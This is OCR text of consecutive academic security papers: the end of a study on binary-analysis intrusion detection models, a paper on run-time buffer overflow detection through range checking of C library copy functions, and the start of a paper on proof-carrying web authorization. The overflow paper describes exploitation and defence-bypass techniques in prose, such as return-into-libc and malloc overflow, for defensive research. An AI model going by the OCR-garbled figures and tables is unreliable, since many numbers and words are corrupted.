threat with argument recovery. 

We analyzed the bounded PDA model for procmail 
with stack bounds from 0 to 10. Figure 13 shows the 
average branching factors of our PDA at varying levels 
of null call instrumentation and bounded stack depth. 
Figures 14 and 15 show the nin-time overheads of these 
models at two different time scales. 

Null call insertion has a surprising effect on opera- 
tion of the bounded stack models. The added precision 
of the null calls actually decreases run-time overheads. 
We were surprised to discover cases where the bounded- 
stack PDA with null call instrumentation was nearly as 
efficient to operate as an NFA model, but at a higher 
level of precision. Observe that higher levels of null call 
instrumentation actually reduce the execution times, as 
operation of the models becomes more precise. 

Increasing the stack size produces a similar effiect. 
The plots for instrumentation in functions with fan-in of 
5 in Figure 14 and in functions with fan-in of 10 in 
Figure 15 show a common pattern. Up until a stack 
bound of size 6, the model’s efficiency improves. More 
execution context 1s retained, so fewer paths in the 
model are possible. As the state grows past a bound of 6, 
the cost of increased state begins to dominate. Finding 
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this transition value ts an important area for future 
research. 


4.5 Discussion on Metrics 


Measuring precision with the dynamic average branch- 
ing factor metric ignores several important consider- 
ations: 

1. An attack likely consists of a sequence of system 
calls and is not a single call in tsolation. A call may 
be dangerous only when combined with other calls. 

2. The attacker could steer execution through one or 
more “safe” system calls to reach a portion of the 
model that accepts an attack sequence. Perhaps a 
typical run of the program does not reach this area 
of the model, so the dangerous edges do not appear 
in the dynamic average branching factor. Such safe 
edges should not cover the potential for an attack 
downstream in the remote call sequence. 

We do not see any obvious dynamic metric that easily 

overcomes these objections. The straightforward static 

analogue to dynamic average branching factor is static 
average branching factor, the same count averaged over 
the entire automaton with all states weighted equally. 

The prior complaints remain unsatisfied. 

We propose a metric that combines static and 
dynamic measurements. Our average adversarial 
opportunity metric requires two stages of computation: 
first, the automaton modeling the application 1s com- 
posed with a set of attack automata to identify all model 
states with attack potential; then, the monitor maintains 
a count of the dangerous states encountered during run- 
time. “Attack potential” indicates a known attack Is pos- 
sible beginning at the current state or at a state reach- 
able from it. We are locating those positions in the 
model where an adversary could successfully insert an 
attack and counting visits to those states at run-time. 


5 Comparison with Existing Work 


We measured dynamic average branching factor and 
execution overhead for comparison with the earlier work 
of Wagner and Dean. We compare only the NFA model, 
as it is the only model our work has in common with 
their own. They analyzed four programs; two of them, 
procmail and finger intersect our own experimental set. 
Although we do not know what version of finger Wag- 
ner and Dean used, we compared their numbers against 
our analysis of GNU finger. We used call site renaming, 
argument recovery, and single-edge replacement. The 
results for Wagner and Dean include argument recovery. 
(They have no analogue to renaming or edge replace- 
ment). On the two programis, we observed a significant 
discrepancy between their reported precision values and 
those we could generate. Upon investigation, it appears 
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Figure 13: Effect of stack depth and null call insertion upon PDA precision. Bascline optimizations were used. 
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Figure 14: Effect of stack depth and null call insertion upon PDA run-time overhead, 7 second time scale. Basclinc 
optimizations werc used. This time scale shows trends for null call insertion for fan-ins of 5 and 2. 


PDA Overhead - Effect of Stack Depth - 700 sec Time Scale (procmail) 


700 756 sec 
> 600 
a= 
e 500 
3 —e No null calls 
2, 400 —#— Null calls in functions with fan-in >= 10 
300 —e— Null callsin functions with fan-in >= 5 
= —#t#— Null calls in functions with fan-in >= 2 
tees 
a 200 
5 

100 

() 
0) | 2 32) ade 5S Gad 8 9 10 


Stack Bound 


Figure 15: Effect of stack depth and null call insertion upon PDA run-time overhead, 700 second time scale. The source data 
is identical to that of Figure 14. This time scale shows trends for no null call insertion and insertion for fan-in of 10. 
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Figure 16: The socket model in Solaris libc. 





Figure 17: The socket model in Linux glibc. 


to be caused by the differences in library code between 
our respective test platforms. Wagner and Dean ana- 
lyzed programs compiled on Red Hat Linux, but we use 
Solaris 8. Solaris is an older operating system and 
includes more extensive library code in its standard 
libraries. Solaris libc, for example, is structured differ- 
ently than glibc on Linux and includes functionality not 
found in glibc. To see the differences, compare 
Figure 17, the automaton for the socket system call tn 
glibc, with Figure 16, the automaton for the same func- 
tion in Solaris libce. In this case, the Solaris socket func- 
tion includes code maintaining backwards compatibility 
with an earlier method of resolving the device path for a 
networking protocol. While socket has the greatest dif- 
ference of the functions we have inspected, we have 
found numerous other library functions with a similar 
characteristic. Simply, Linux and Solaris have different 
library code and we have found the Solaris code to be 
the more complex. 

To better understand the influence of this different 
library code base, we identified several functions in 
Solaris libc that differed significantly from the cqutva- 
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Figure 18: Comparison of our baseline NFA models with 
the prior results of Wagner and Dean. 


lent function in glibc. We instrumented the code of the 
identified functions so that each generates a remote sys- 
tem call event in a manner similar to glibc. As we 
expected, the average branching factor of each model 
dropped significantly (Figure 18). Because we inten- 
tionally instrument the library functions incorrectly, the 
model gencrated ts semantically invalid. However, we 
believe the change in precision values reinforces our 
hypothesis. 
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Our model operation improves significantly over 
the work of Wagner and Dean. Figure 18 also shows 
overheads in each of the two programs attributed to 
model operation. Our gain is partly due to implementa- 
tion: Wagner and Dean wrote their monitor in Java. Our 
code runs natively and is highly efficient, introducing 
only negligible delay. 


6 Related Work 


There are three areas with techniques and goals similar 
to those considered in this paper: applications of static 
analysis to intrusion detection, statistical anomaly- 
detection-based intrusion detection, and secure agentry. 
We compare the techniques presented in this paper with 
the existing research in the three areas. 

Our work applies and extends the techniques 
described by Wagner and Dean [36,37]. To our knowl- 
edge, they were the first to propose the use of static anal- 
ysis for intrusion detection. However, they analyzed C 
source code by modifying a compiler and linker to con- 
struct application models. Our analysis is performed on 
binaries, independent of any source language or com- 
piler, removing the user’s burden to supply their source 
code. We also propose several optimizations and pro- 
gram transformations that improve model precision and 
efficiency. We believe the optimizations proposed in this 
paper are important contributions and can be used by 
other researchers working in this area. 

There 1s a vast body of work applying dynamic 
analysis to intrusion detection. In statistical anomaly- 
detection-based intrusion detection systems such as 
IDES [9], a statistical model of normal behavior is con- 
structed from a collection of dynamic traces of the pro- 
gram. For example, a sequence of system calls, such as 
that produced by the utilities strace and truss, can be 
used to generate a statistical model of the program (sce 
Forrest et al. [12]). Behaviors that deviate from the sta- 
tistical model are flagged as anomalous but are not a 
guarantee of manipulation. Theoretically, we can use a 
statistical program model in our checking agent. Practi- 
cally, however, these models suffer from false alarm 
rates; 1.e. they reject sequences of system calls that rep- 
resent acceptable but infrequent program behavior. 
Human inspection of jobs flagged as anomalous Is inap- 
propriate in our setting so we did not pursuc this 
approach. 

The literature on safe execution of mobile agents on 
malicious hosts (also known as secure agentry) is vast. 
The reader 1s referred to the excellent summary on vari- 
ous techniques in the area of secure agentry by 
Schneider [31]. We are currently exploring whether 


techniques fiom this area, such as replication, are uscful 
in our setting. 


7 Future Work 


We continue progressing on a number of fronts. Fore- 
most, we are working to expand our infrastructure base 
of static analysis techniques to include points-to analy- 
sis for binaries and regular expression construction for 
arguments. Standard points-to analysis algorithms are 
designed for a higher-level source language and often 
rely on datatype properties evident from the syntax of 
the code. We will adapt the algorithms to the weakly- 
typed SPARC code. For arguments, we envision using 
stronger slicing techniques to build regular expressions 
for arguments not statically determined. Better code 
analyses will produce more precise models. 

We have two research areas targeting run-time over- 
head reductions in our complex models. To reduce the 
impact of null call insertions, we will investigate adapta- 
tions of the Ball and Larus algorithm to identify optimal 
code instrumentation points for minimum-cost code 
profiling [4]. To reduce the overhead of our PDA mod- 
els, we will collapse all run-time values at the same 
automaton state into a single value with a DAG repre- 
senting all stack configurations. When traversing outgo- 
ing edges, a single update to the DAG is equivalent to an 
individual update to each previous stack. Our hope ts to 
make our complex and precise models attractive for real 
environments. 

We will add general support for dynamically linked 
applications and signal handlers to our analysis engine, 
enabling analysis of larger test programs. 

To better measure the attack opportunities afforded 
by our models, we will implement the average adversar- 
ial opportunity metric and create a collection of attack 
automata. Having an accurate measure of the danger 
inherent in an automaton better enables us to develop 
strategies to mitigate the possible harm. 
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Availability 


Our research tool remains in development and we are 
not distributing it at this time. Contact Jonathon Giffin, 
giffin@cs.wisc.edu, for updates to this status. 
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Abstract 


Programs written in C are inherently vulnerable to buffer 
overflow attacks. Functions are frequently passed point- 
ers aS parameters without any hint of their sizes. Since 
their sizes are unknown, most run time buffer overflow 
detection techniques instead rely on signatures of known 
attacks or loosely estimate the range of the referenced 
buffers. Although they are effective in detecting most 
attacks, they are not infallible. In this paper we present 
a buffer overflow detection technique that range checks 
the referenced buffers at runtime. Our solution is a small 
extension to a generic C compiler that augments exe- 
cutable files with type information of automatic buffers 
(local variables and parameters of functions) and static 
buffers (global variables in data / bss section) in order to 
detect the actual occurrence of buffer overflow. It also 
maintains the sizes of allocated heap buffers. A simple 
implementation is described, with which we currently 
protect vulnerable copy functions in the C library. 


1 Introduction 


Programs written in C are inherently vulnerable to buffer 
overflow attacks. C allows primitive pointer manipu- 
lation, which is usually necessary for array operation 
because C has no first-class array type. For example, 
functions are passed the pointers as array parameters. 
To ensure that buffers are not overflowed, it is the pro- 
grammers’ responsibility to explicitly bounds check the 
buffers. In practice, bounds checking is often neglected 
or cannot be done since arrays are often passed without 
any hint of their sizes. Many copy functions in the C 
library such as strcpy(dest, src) are vulnerable this way, 
making them a popular point of attack. 


Various types of buffier overflow attacks have been dis- 
covered. The simplest and the most popular among them 
is the stack smashing attack [1]. The stack smashing at- 


tack overflows a buffer to overwrite the return address 
of a function, so that the return address points to the at- 
tack code that is injected into the stack by the attacker, 
rather than the legitimate call point. The control flow 
is directed to the attack code when the function returns. 
The stack smashing attack exploits the stack configura- 
tion and the function call mechanism. There are other 
types of buffer overflow attacks that exploit data struc- 
tures in the heap as well as in the stack. A survey on 
various types of attacks is found in [7]. 


There are several run time solutions that are highly ef- 
fective without much run time overhead. However, most 
of them rely on the signatures of known attacks (or the 
loosely estimated range of the referenced buffers) rather 
than the detection of actual occurrence of buffer over- 
flow, since sizes of buffers are unknown at run time. 
As a result, buffers can still be overflowed and they are 
vulnerable to attacks that do not show such signatures. 
Moreover, they are mostly built to defend against the 
stack smashing attack and focus only on its signatures. 
Buffer overflow techniques that can bypass those run 
time solutions are found in [4, 15, 5, 11, 21, 16, 18], 
and are discussed in Section 3. 


Our goal is to increase the level of security in comput- 
ing systems by devising a run time solution that is less 
dependent on attack signatures. We propose a solution 
that range checks the buffers at run time. Our solu- 
tion is a small extension to the GNU C compiler that 
augments executable files with type information of au- 
tomatic buffers (local variables and parameters of func- 
tions) and static buffers (global variables in data / bss 
section) in order to detect the actual occurrence of buffer 
overflow. It also maintains the sizes of allocated heap 
buffers. Currently we use it to perform range checking 
within the vulnerable copy functions in the C library. 
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2 Related work 


2.1 StackGuard 


The stack smashing attack overwrites the buffer, the re- 
turn address and everything in between. StackGuard [6] 
is a GNU C compiler extension that inserts a canary 
word between the return address and the buffer so that an 
attempt to alter the return address 1s detected by inspect- 
ing the canary word before returning from a function’. 
Programs needs to be recompiled with StackGuard to be 
protected. 


2.2 StackShield 


StackShield [19] is also a GNU C compiler extension 
that protects the return address. When a function 1s 
called StackShield copies away the return address to a 
non-overflowable area, and restores the return address 
upon returning from a function. Even if the return ad- 
dress on the stack is altered, it has no effect since the 
original return address is remembered. As with Stack- 
Guard, programs needs to be recompiled. 


2.3 Libsafe 


Libsafe [3] is an implementation of vulnerable copy 
functions in C library such as strepy(). In addition to 
the original functionality of those functions, it imposes 
a limit on the involved copy operations such that they do 
not overwrite the return address. The limit is determined 
based on the notion that the buffer cannot extend beyond 
its stack frame. Thus the maximum size of a buffer is 
the distance between the address of the buffer and the 
corresponding frame pointer. Libsafe is implemented as 
a shared library that is preloaded to intercept C library 
function calls. Programs are protected without recompi- 
lation unless they are statically linked with the C library. 
Libsafe protects only those C library functions whereas 
StackGuard and StackShield protect all functions. 


'The name is derived from the coal mining practice of taking a 
canary down with the workers. The canary was more sensitive to poi- 
sonous gas than humans, so examining the state of the canary could 
reveal a dangerous buildup of potson gas. 
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2.4 Solar Designer’s non-executable stack 


patch 


The stack smashing attack injects an attack code in the 
stack, which is executed when the function returns. One 
of the core features of the Solar Designer’s Linux kernel 
patch [17] is to make the stack segment non-executable. 
This patch does not impose any performance penalty nor 
does it require program recompilation (except for the op- 
erating system kernel). 


2.5 Pax 


PaX [14] is a page-based protection mechanism that 
marks data pages non-executable. Unlike Solar De- 
signer’s stack patch, PaX protects heap as well as stack. 
Since there is no execution permission bit on pages in 
x86 processor, PaX overloads the supervisor/user bit on 
pages and augments the page fault handler to distinguish 
the page faults due to the attempts toexecute code in data 
pages. As a result, it imposes a run time overhead due 
to the extra page faults. PaX is also available as a Linux 
kernel patch. | 


2.6 Runtime array bounds checking 


The pointer and array access checking technique by 
Austin et al. [2] is a source-to-source translator that 
transforms C pointers into the extended pointer repre- 
sentation called safe pointer, and inserts access checks 
before pointer or array dereferences. The safe pointer 
contains fields such as the base address, its size and the 
scope of the pointer. Those fields are used by the access 
check to determine whether the pointer 1s valid and is 
within the range. Since it changes the pointer represen- 
tation, it is not compatible with existing programs. 


The array bounds and pointer checking technique by 
Jones and Kelly [10] is an extension to the GNU C com- 
piler that imposes the access check on C pointers and 
arrays. Instead of changing the pointer representation, 
it maintains a table of all the valid storage objects that 
holds such informations as the base address and size 
etc. The heap variables are entered into the table via 
a modified malloc() function and deleted from the table 
via a modified free() function. Stack variables are en- 
tered into / deleted from the table by the constructor / 
destructor function, which 1s inserted inside a function 
definition at the point a stack variable enters / goes out 


USENIX Association 


USENIX Association 


of the scope. The access check is done by substituting 
the pointer and array operations with the functions that 
perform bounds check using the table in addition to the 
original operation. Since native C pointers are used, this 
technique is compatible with existing programs. 


The obvious advantage of array bounds checking ap- 
proaches are that they completely eliminate buffer over- 
flow vulnerabilities. However, these are also the most 
expensive solution, particularly for pointer- and array- 
intensive programs since every pointer and array oper- 
ation must be checked. This may not be suitable for a 
production system. 


2.7 Static analysis of array bounds checking 


The integer range analysis by Wagner et al. [20] is a 
technique that detects possible buffer overflow in the 
vulnerable C library functions. A string buffer is mod- 
eled as a pair of integer ranges (lower bound, upper 
bound) for its allocated size and its current length. A 
set of integer constraints is predefined for a set of string 
operations (e.g. character array declaration, vulnerable 
C library functions and assignment statements involving 
them). Using those integer constraint, the technique an- 
alyzes the source code by checking each string buffer to 
see whether its inferred allocated size is at least as large 
as its inferred maximum length. 


The annotation-assisted static analysis technique by 
Larochelle and Evans [12] based on LCLint [8] uses se- 
mantic comments, called annotations, provided by pro- 
grammers to detect possible buffer overflow. For exam- 
ple, annotations for strepy() contain an assertion that 
the destination buffer has been allocated to hold at least 
as many characters as are readable in the source buffer. 
This technique protects any annotated functions whereas 
the integer range analysis only protects C library func- 
tions. 


Generally, a pure compile-time analysis like the above 
can produce many false alarms due to the lack of run 
time information. For example, gets() reads its input 
string from stdin so the size of the string is not known 
at compile time. For such a case a warning is issued 
as a possible buffer overflow. In fact, all the legiti- 
mate copy operations that accept their strings from un- 
known sources (such as a command line argument or 
an I/O channel) are flagged as possible buffer overflows 
(since they are indeed vulnerable). Without further ac- 
tion, those vulnerabilities are identified but still open to 
attack. 


3 Exploitation techniques 


The exploitation techniques presented in this section are 
exemplary and they can bypass some of the run-time 
defensive techniques. While the stack smashing attack 
can exploit just a single vulnerable strepy(), these tech- 
niques usually require more vulnerabilities in the pro- 
gram that are less likely to be found in real world. 
Nonetheless, they identify different kinds of vulnerabili- 
ties that may not be protected by current defensive tech- 
niques. 


Although we can apply multiple defensive techniques 
for added protection, these exploitation techniques can 
also be used in tandem to produce more sophisticated 
attacks that are more difficult to detect. However, none 
of these exploits are possible if buffer overflow is pre- 
vented. If programmers rely on C library functions to 
overflow buffers, then our current implementation can 
detect and prevent such attacks. 


3.1 Return-into-libc 


The return-into-libc exploit [18, 13] overflows a buffer 
to overwrite the return address as the stack smashing at- 
tack does. However it overwrites the return address with 
the address of C library function such as system(). Since 
it uses an existing code rather than a shellcode, Solar De- 
signer’s non-executable stack patch or PaX cannot detect 
this’ 


3.2 Other code pointers 


Code pointers other than the return address can also be 
overwritten, such as a function pointer variable [5], a 
pointer to a shared library function in the global offset 
table [21], the table of pointers to destructor functions 
[15], or a C++ virtual function pointer [16]. Exploits 
that alter those code pointers and not the return address 
can bypass StackGuard, StackShield and Libsafe. 


2They both provide guards against return-into-libc attacks, but they 
can still be exploited. For example, we can use the procedure linkage 
table entry of system() instead of the address of system() to bypass the 
stack patch (where the address of system() can contain zero bytes) or 
PaX (where the address of system() are unknown in advance due to the 
random mapping of shared Itbraries). 
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3.33. Malloc() overflow 


The malloc() overflow [11] exploits the heap memory 
objects allocated via the memory allocator in the GNU 
C library. The memory allocated by malloc() not only 
includes the user requested block but also the data used 
to manage the heap (size of the block, pointer to other 
blocks and the like). The vulnerability is that a heap vari- 
able can be overflowed to overwrite those management 
data. Exploits based on this technique can bypass stack- 
based defensive techniques such as StackGuard, Stack- 
Shield, Libsafe and Solar Designer’s stack patch. 


3.4 Indirect overflow via pointer 


The indirect overflow via pointers [4] overflows a buffer 
to overwrite a pointer, which is used subsequently to 
overwrite a code pointer. With this technique it is pos- 
sible to overwrite the return address without altering the 
StackGuard canary word. It is also possible to overwrite 
a memory area that is far from the overflowed buffer. 
Bulba and Kil3r [4] gives examples that bypass Stack- 
Guard, StackShield and Solar Designer’s stack patch. 


4 Overview of Our Approach 


Array bounds checking is a direct way to detect buffer 
overflows, but it is difficult to do because the type in- 
formation (hence the size) of buffers are not available in 
binary files except as optional debugging information in 
the symbol table. To enable range checking on buffers at 
run time, introduce an intermediary step in the compila- 
tion that emits an additional data structure into the binary 
file. This data structure describes the types of automatic 
buffers and static buffers. These types are known at com- 
pile time, so our data structure is complete for describing 
automatic and static buffers (there are two exceptions in 
which size of an automatic buffer cannot be determined 
at compile time, which are discussed in Section 6.). For 
example, buffers in a struct variable are safe from each 
other as depicted in Figure |. 


For dynamically allocated (heap) objects, we maintain 
a table that tracks those objects and their sizes. Range 
checking is then done by looking up those data struc- 
tures atrun time. We use those data structures to perform 
range checking of arguments to the vulnerable string 
functions in the C library. 
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struct mybuf { 
char buf1 [32]; 
void (*fptr)(); 
char buf2(32]; 

i 


Figure 1: A struct containing two string buffers and a 
function pointer. 


Regardless of which of these types of attack is at- 
tempted, buffers have to be overflowed in some way 
for the attacks to succeed. Since our approach prevents 
buffers from being overflowed it is insensitive to which 
attack was chosen. To truly protect from all the possi- 
ble buffer overflow attacks in the most efficient way, we 
need to identify all and only those vulnerable points in 
the program. However it cannot be done without exten- 
sive source code analysis. For the current implementa- 
tion we protect only C library functions. We believe that 
it is useful as a stand-alone protection system and can 
be easily extended with compile time analysis to remove 
bounds checking on “known-safe” function calls. 


Our data structure for describing buffers is similar to the 
type table in the Process Introspection Library [9], which 
describes data types of savable memory blocks in order 
to checkpoint and restart processes in a distributed, het- 
erogeneous environment. The Process Introspection Li- 
brary also deduces the type of a heap allocated memory 
block, a capability that we currently lack, but which can 
be similarly added. 


5 Implementation 


We implemented a prototype by extending the GNU C 
compiler on Linux. We augment each object file with 
type information of automatic and static buffers, leaving 
the source code intact. Specifically, we intercept the out- 
put of the gcc preprocessor and append to it a data struc- 
ture describing the type information. The augmented file 
is then piped into the next stage to complete the compi- 
lation. 


The type information of buffers are read by precompil- 
ing the (preprocessed) source file with debugging op- 
tion turned on, and parsing the resulting stabs debug- 
ging statements. From the stabs debugging statements 
we generate a type table, a data structure that associates 
the address of each function with the information of the 
function’s automatic buffers (their sizes and offsets to 
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the stack frame). The type table also contains the ad- 
dresses of static buffers declared in the source file and 
their sizes. This way, each object file carries informa- 
tion of its automatic / static buffers independently. The 
type table is kept under a static variable so objects can 
be linked without any conflict. To make those type tables 
visible at run time, each object file is also given a con- 
structor function®. The constructor function associates 
its type table with a global symbol. This process 1s illus- 
trated in Figure 2. 


Our implementation is transparent in the sense that 
source files are unmodified, and programs are compiled 
normally using the supplied makefile in the source dis- 
tribution. It is also highly portable because the augmen- 
tation is done in the source level. Because type tables in 
the object files are assembled at run time, objects can be 
linked both statically and dynamically. 


The range checking is done by a function in a shared 
library. The range checking function accepts a pointer 
to the buffer as the parameter, and finds the size of the 
buffer according to the following algorithm (for an auto- 
matic buffer; locating a static buffer is straightforward). 
Figure 3 illustrates this. 


1. Locate the stack frame of the buffer by chasing 
down the saved frame pointer, 


2. Retrieve the return address of the next stack frame 
to find out who allocated the stack frame, 


3. Locate the function who allocated the stack frame 
by comparing the return address with function ad- 
dresses in the type table, 


4. Locate the buffer of the function by comparing the 
buffer address with offsets in the table + frame 
pointer value, 


5. The size of the buffer (or the size of a field if it is a 
struct variable) is returned 


The shared library also maintains a table of currently al- 
located heap buffers by intercepting malloc(), realloc() 
and free() functions (a feature of the dynamic memory 
allocator in GNU C library). For the heap buffers, the 
size of the referenced buffer is determined as the size 
of the allocated memory block. Without type informa- 
tion it 1s currently unable to determine the exact size, 
which may be significant as evident in Figure |. We im- 
plemented a shared library that is preloaded to intercept 


3This is a gee feature; constructor functions run before main() 
does. 


vulnerable copy functions in C library to perform range 
checking. 


6 Limitations 


There are two cases in which we cannot determine the 
size of automatic buffers; stack buffers dynamically al- 
located with alloca(), and variable-length automatic ar- 
rays (a GNU C compiler extension). They are limitations 
inherent in our solution. 


The current implementation is also unable to determine 
the type of function scope static variables since they are 
not visible outside the declared function. For the same 
reason, we cannot protect buffers declared in a function 
scope functions (nested functions, another GNU C com- 
piler extension). Although those symbols are not visible 
in the source file, they are visible in the compiled file. 
Thus, this problem 1s not inherent in our solution. In or- 
der to fix the problem, we need to express the type table 
in assembly language and append it to the compiled file. 
The current prototype is done at the source level, aug- 
menting the type table written in C at the (preprocessed) 
source file. 


7 Experiments 


To estimate the run time overhead incurred by the range 
checking for each C library function, we ran a small pro- 
gram that calls each C library function in a tight loop 
(loop count is 100,000,000). 


The range checking (done in C library wrapper func- 
tions) involves the following steps. 


1. Intercept a C library function 
2. Retrieve the buffer size by type table lookup 


3. Compare the buffer size with the source string 
length 


4. Call the C library function 


The overhead is thus mostly attributed to 1) the time 
taken for type table lookup (in order to find the size of 
the buffer), and 2) the time taken for calling strlen() 
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Figure 3: The stack frame of the buffer is found by comparing the address of the referenced buffer and saved frame 
pointers in the stack (address of the buf should be less than its frame pointer since it is a local variable). The first 
frame (in dashed box) 1s the frame for the buffer. The return address of the next frame is used to locate the entry in 
the type table (address of main), which is used subsequently to find the size of the buffer. It is assumed that the stack 
grows down, and the address of the buffer is that of its least significant byte (little endian architecture). 
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Figure 4: Micro test that shows function overhead ne range checking. Each overhead was measured as follows; If an 


intercepted function is 2.5 times slower then the overhead is 150 percent ((2.5 — 1) x 100). 


file size (original) | file size (with type table) | libc function count} runtime ibe function count| runtime (original) 


348,503 bytes 368,665 bytes 6,345,760 calls 3 min. 01 sec 


me 425,958 463,140 23,883 I min. 12 sec 
| 26,016 28,698 20552 5 sec 





run time (type table) 


1 min. 15 sec 


Figure 5: Macro test with enscript, tar and java. Enscript printed a text file of size 1OOMbytes (to /dev/null). Tar 
zipped the linux kernel source directory twice. Java ran antlr to parse the GNU C grammar. The run time is the 


average of ten runs. 
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(in order to check whether the buffer size is enough) 
if needed. According to these two criteria, the C li- 
brary wrapper functions are roughly partitioned into 
three classes; 1) functions such as strepy() require the 
call to strlen() in addition to type table lookup, 2) func- 
tions such as memcpy() needs only type table lookup, 
and 3) functions such as strnepy() may or may not re- 
quire strlen() depending on whether the buffer size is 
greater or equal to the size parameter or not. 


Each function was tested 8 times with varying string 
length (8, 16, 32, 64, 128, 256, 512 and 1024). Our 
test were performed on a pc with AMD Duron 700MHz 
running Redhat Linux 6.2. Figure 4 shows the result. 


The table lookup is done by binary search, so the over- 
head incurred by the table lookup will increase logarith- 
mically as the number of functions and variables in the 
executable file increases. In sum, the micro test shows 
the worst case scenario and we expect better perfor 
mance in real programs (which will, after all, do some 
useful work besides just calling C-library string func- 
tions). Figure 5 is the result of testing three programs 
(enscript 1.6.1, tar 1.13 and java 1.3.0), and shows the 
increase in size of executable files due to the augmented 
type table, the number of calls to C library functions 
that those program made during the test run, and the run 
time. Overhead in the macro test is in the range of 4-5% 
for substantial runtimes, with the short java test showing 
a 20% overhead (note that the absolute runtime overhead 
is minimal). 


8 Conclusions and future work 


Although many solutions have been proposed, buffer 
overflow vulnerabilities remain a serious security threat. 
Pure static analysis techniques can identify the vulnera- 
ble points in a program before the program is deployed, 
but cannot eliminate all vulnerabilities. We proposed a 
run-time buffer overflow detection mechanism that is ef- 
ficient, portable, and compatible enough with existing 
programs to be practical. The value of our work is that 
it can catch some of the attacks that other run-time solu- 
tions cannot. We believe that our work is not only useful 
as a stand-alone protection system but also can be com- 
plementary to other solutions. We plan to extend our 
work to include static analysis technique in order to be 
able to selectively perform the range checking. 
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Abstract 


We describe the design, implementation, and per- 
formance of a new system for access control on the 
web. To achieve greater flexibility in forming access- 
control policies — in particular, to allow better in- 
teroperability across administrative boundaries — we 
base our system on the ideas of proof-carrying au- 
thorization (PCA). We extend PCA with the no- 
tion of goals and sessions, and add a module system 
to the proof language. Our access-control system 
makes it possible to locate and use pieces of the se- 
curity policy that have been distributed across ar- 
bitrary hosts. We provide a mechanism which al- 
lows pieces of the security policy to be hidden from 
unauthorized clients. Our system is implemented 
as modules that extend a standard web server and 
web browser to use proofcarrying authorization to 
control access to web pages. The web browser gen- 
erates proofs mechanically by iteratively fetching 
proof components until a proof can be constructed. 
We provide for iterative authorization, by which a 
server can require a browser to prove a series of chal- 
lenges. Our implementation includes a series of op- 
timizations, such as speculative proving, and modu- 
larizing and caching proofs, and demonstrates that 
the goals of generality, flexibility, and interoperabil- 
ity are compatible with reasonable performance. 


1 Introduction 


After a short period of being not much more than 
a curiosity, the web quickly became an important 
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medium for discussion, commerce, and business. In- 
stead of holding just information that the entire 
world could see, web pages also became used to ac- 
cess email, financial records, and other personal or 
proprietary data that was meant to be viewed only 
by particular individuals or groups. 


This made it necessary to design mechanisms that 
would restrict access to web pages. ‘The most widely 
used mechanism is for the user to be prompted for 
a username and password before he is allowed to 
see the content of a page [11]. A web administrator 
decides that a certain page will be visible only if a 
user enters a correct username/password pair that 
resides in an appropriate database file on the web 
server. A successful response will often result in the 
client’s browser being given a cookie; on later visits 
to the same or related web pages, the cookie will be 
accepted as proof of the fact that the user has al- 
ready demonstrated his right to see those pages and 
he won’t be challenged to prove it again [19]. An 
organization such as a university may require that 
all people wishing to see a restricted web page first 
visit a centralized login page which handles authen- 
tication for all of the organization’s web sites. The 
cookie placed on the client’s browser then contains 
information which any of the organization’s web 
servers can use to verify that it was legitimately is- 
sued by the organization’s authentication service. In 
cases such as this one the functions of authentication 
(verifying an identity) and authorization (granting 
access) are separated into two distinct processes. 


More modern methods of controlling access to web 
pages separate these functions even further, not as 
an optimization, but as a basic element of their de- 
sign. Increasingly in use are systems in which a 
certificate, such as a Kerberos ticket [15, 17] or an 
X.509 certificate [14], is obtained by a user through 
out-of-band means; a web browser and a web server 
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are augmented so that the web browser can pass the 
certificate to the web server and the web server can 
use the certificate to authorize the user to access a 
certain page. The advantage of these mechanisms 
is that, in addition to providing more secure imple- 
mentations of protocols similar to basic web authen- 
tication, they make it possible for a host of different 
services to authorize access based on the same token. 
An organization can now provide a single point of 
authentication for access to web pages, file systems, 
and Unix servers. 


Though growing increasingly common, most no- 
tably due to the use of Kerberos in new versions of 
the Windows operating system, these systems have 
not yet gained wide acceptance. This is partly be- 
cause they don’t adequately deal with all the re- 
quirements for authorization on the web, so their 
undeniable advantages may not be sufficient to jus- 
tify their cost. 


One of the chief weaknesses of these systems is that 
they are not good at providing interoperability be- 
tween administrative domains, especially when they 
use different security policies or authorization sys- 
tems. Having a centralized authentication server 
that issues each user a certificate works well when 
there’s a large number of web servers which are will- 
ing to trust that particular authentication server (at 
a university, for example), but when such trust is ab- 
sent (between two universities) they bear no bene- 
fit. There have been attempts to build systems that 
cross this administrative divide [9] but the problem 
still awaits practical solution. 


We have built a system that addresses this issue; 
in this paper we present its design, implementation, 
and performance results. Our system even further 
uncouples authorization from authentication, allow- 
ing for superior interoperation across administrative 
domains and more expressive security policies. Our 
implementation consists of a web server module and 
a local web proxy. The server allows access to pages 
only if the web browser can demonstrate that it is 
authorized to view them. The browser’s local proxy 
accomplishes this by mechanically constructing a 
proof of a challenge sent to it by the server. Our sys- 
tem supports arbitrarily complex delegation, and we 
implement a framework that lets the web browser 
locate and use pieces of the security policy (e.g., 
delegation statements) that have been distributed 
across arbitrary hosts. Our system was built for 
controlling access to web pages, but could relatively 
easily be extended to encompass access control for 
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other applications (e.g., file systems) as well. 


2 Goals and Design 


In designing our system for access control of web 
pages we had several criteria that we wanted to ad- 
dress: 


e interoperability and expressivity; 


e ease of implementation and integration with 
web servers and web browsers; 


e efficiency; 
e convenience to the user; 


e applicability to spheres other than web access 
control. 


2.1 Interoperability and Expressivity 


Even the most flexible of current systems for web 
access control are limited in their ability to inter- 
operate across administrative boundaries, especially 
when they use different security policies or autho- 
rization systems. One of the main reasons for this 
is that though they attempt to separate the func- 
tions of authorization and authentication, they over- 
whelmingly continue to express their security policy 
— the definition of which entities are authorized to 
view a certain web page — in terms of the identities of 
the users. Though the web server often isn’t the en- 
tity that authenticates a user’s identity, basing the 
security policy on identity makes it very difficult to 
provide access to users who can’t be authenticated 
by a server in the same administrative domain. 


The way we choose to resolve this issue is by mak- 
ing the security policy completely general — access 
to a page can be described by an arbitrary predi- 
cate. This predicate is likely to, but need not, be 
linked to a verification of identity —it could be that a 
particular security policy grants access only to peo- 
ple who are able to present the proof of Fermat’s 
last theorem. Since the facts needed to satisfy this 
arbitrary authorization predicate are likely to in- 
clude more than just a verification of identity, in 
our access-control system we replace authentication 
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servers with more general fact servers. In this sce- 
nario the problem of deciding whether a particular 
client should be granted access to a particular web 
page becomes a general distributed-authentication 
problem, which we solve by adapting previously de- 
veloped techniques from that field. 


Distributed authentication systems [7, 8, 14] pro- 
vide a way for implementing and using complex se- 
curity policies that are distributed across multiple 
hosts. ‘The methods for distributing and assembling 
pieces of the security policy can be described using 
logics [1, 6, 12], and distributed authentication sys- 
tems have been built by first designing an appropri- 
